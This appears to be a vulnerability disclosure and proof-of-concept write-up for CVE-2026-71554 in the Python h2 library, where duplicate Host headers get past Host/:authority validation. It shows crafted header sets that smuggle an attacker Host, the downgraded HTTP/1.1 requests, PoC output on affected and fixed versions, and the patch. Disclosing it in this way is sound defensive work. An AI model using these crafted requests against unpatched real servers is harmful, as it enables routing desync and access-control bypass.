
PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1)
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg Affected: h2 <= 4.4.0 Fixed: h2 4.4.1 Severity: Medium (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
While reviewing h2's header validation logic, I noticed that _validate_host_authority_header() in src/h2/utilities.py checks that Host and :authority match - but only compares the last Host header it sees. If you send two Host headers, h2 uses the second one for the match check and forwards both to the application without complaint.
Interestingly, h2 4.4.0 already rejects duplicate Content-Length headers with a ProtocolError. The same fix was never applied to Host. There was even a TODO comment in the source acknowledging this exact gap:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
_validate_host_authority_header() in src/h2/utilities.py uses a last-wins loop that records the last Host value seen and checks only that:
:authority or Host is presentThere is no check on the number of Host headers. Each Host header is yielded downstream to the application regardless of how many are present.
Client sends:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2 accepts both. Application receives both Host headers.
HTTP/1.1 downgrade produces:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112 s3.2 requires a server to respond 400 to any HTTP/1.1 request containing more than one Host header. Backends diverge:
nginx — rejects with 400
Python stdlib — accepts, returns FIRST Host on lookup
Werkzeug — accepts, returns FIRST Host on lookup
Client sends:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, first Host (seen by origin)
host: good.internal <- index 1, last Host (used by h2 validator)
h2 validates: last Host (good.internal) == :authority (good.internal) - passes.
Application receives both Host headers. HTTP/1.1 downgrade produces:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
Backends that return the first Host on a single-key lookup route the request to evil.attacker while h2 believed it validated good.internal. Complete routing desync between what h2 validated and what the origin processes.
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2 raises ProtocolError. Confirms the gap is specific to duplicate Host headers.
Impact is conditional on the deployment architecture:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
All three cases raise ProtocolError. No headers forwarded.
One counter added to the existing loop in _validate_host_authority_header():
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
Found and reported by Sunand Mohan (https://github.com/SunandM)